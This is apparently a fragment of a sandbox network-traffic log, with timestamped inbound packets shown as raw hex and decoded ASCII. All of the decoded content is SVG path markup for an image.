2e 32 39 2e 39 33 Data Ascii: </path><path class="cls-4" d="M864.31,285.45a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M864.54,292.28a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93
2023-05-31 12:52:11 UTC	7193	IN	Data Raw: 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 33 2e 37 39 2c 32 30 34 2e 34 36 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 34 2c 32 31 31 2e 32 38 61 31 2e 37 2c 31 2e 37 2c Data Ascii: 0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M833.79,204.46a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M834,211.28a1.7,1.7,
2023-05-31 12:52:11 UTC	7209	IN	Data Raw: 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 33 2e 32 37 2c 31 32 33 2e 34 36 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 Data Ascii: 0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><path class="cls-4" d="M803.27,123.46a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M8
2023-05-31 12:52:11 UTC	7225	IN	Data Raw: 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 36 2e 31 35 2c 32 33 33 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 9.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M786.15,233.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"></path><path
2023-05-31 12:52:11 UTC	7241	IN	Data Raw: 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 32 2c 32 36 37 2e 33 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 31 2e 37 31 2c 32 35 39 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e Data Ascii: h class="cls-7" d="M522,267.3a1.91,1.91,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M521.71,259.58a1.91,1.91,0,0,1-.86,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.
2023-05-31 12:52:11 UTC	7257	IN	Data Raw: 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 34 31 2e 35 38 2c 31 35 30 2e 37 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: 2.66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M541.58,150.76a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path c
2023-05-31 12:52:11 UTC	7273	IN	Data Raw: 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 35 39 2c 32 35 37 2e 37 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 33 33 2c 32 35 30 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 Data Ascii: 8,3.17"></path><path class="cls-7" d="M576.59,257.72a1.91,1.91,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M576.33,250a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1
2023-05-31 12:52:12 UTC	7289	IN	Data Raw: 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 36 2e 32 2c 31 34 31 2e 31 38 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 Data Ascii: 1,2.69,2.69,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M596.2,141.18a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path
2023-05-31 12:52:12 UTC	7305	IN	Data Raw: 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2e 32 31 2c 32 34 38 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2c 32 34 30 2e 34 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c Data Ascii: lass="cls-7" d="M631.21,248.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"></path><path class="cls-7" d="M631,240.43a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.67,2.67,0,0,
2023-05-31 12:52:12 UTC	7321	IN	Data Raw: 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 35 30 2e 38 31 2c 31 33 31 2e 36 31 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: .05,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M650.81,131.61a1.92,1.92,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.34,2.34,0,0,1,.18,3.17"></path><path c
2023-05-31 12:52:12 UTC	7337	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 38 33 2c 32 33 38 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 35 37 2c 32 33 30 2e 38 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e Data Ascii: <path class="cls-7" d="M685.83,238.58a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M685.57,230.86a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.
2023-05-31 12:52:12 UTC	7353	IN	Data Raw: 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 30 35 2e 34 33 2c 31 32 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: .66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class="cls-7" d="M705.43,122a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class
2023-05-31 12:52:12 UTC	7369	IN	Data Raw: 34 30 2e 34 35 2c 32 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 34 30 2e 31 39 2c 32 32 31 2e 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e Data Ascii: 40.45,229a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M740.19,221.29a1.92,1.92,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.
2023-05-31 12:52:12 UTC	7385	IN	Data Raw: 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 30 2e 30 35 2c 31 31 32 2e 34 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 35 39 2e 37 39 2c 31 30 34 Data Ascii: 2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M760.05,112.46a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M759.79,104
2023-05-31 12:52:12 UTC	7401	IN	Data Raw: 4d 36 36 31 2e 31 36 2c 33 38 31 2e 31 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 36 31 2e 32 33 2c 33 37 32 2e 34 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e Data Ascii: M661.16,381.13a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M661.23,372.45a2.16,2.16,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.
2023-05-31 12:52:12 UTC	7417	IN	Data Raw: 32 33 33 2e 38 31 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 39 2c 32 32 35 2e 31 33 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e Data Ascii: 233.81a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M689,225.13a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.
2023-05-31 12:52:12 UTC	7433	IN	Data Raw: 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2e 34 33 2c 33 32 30 2e 39 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 Data Ascii: -4.13-1.35,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path class="cls-9" d="M723.43,320.92a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path clas
2023-05-31 12:52:12 UTC	7449	IN	Data Raw: 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 38 36 2c 34 31 36 2e 37 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 39 33 2c 34 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 Data Ascii: ,0,0,1,3.61.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M757.86,416.72a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M757.93,408a2.15,2.15,0,0
2023-05-31 12:52:12 UTC	7465	IN	Data Raw: 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 36 32 2c 32 36 39 2e 33 39 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 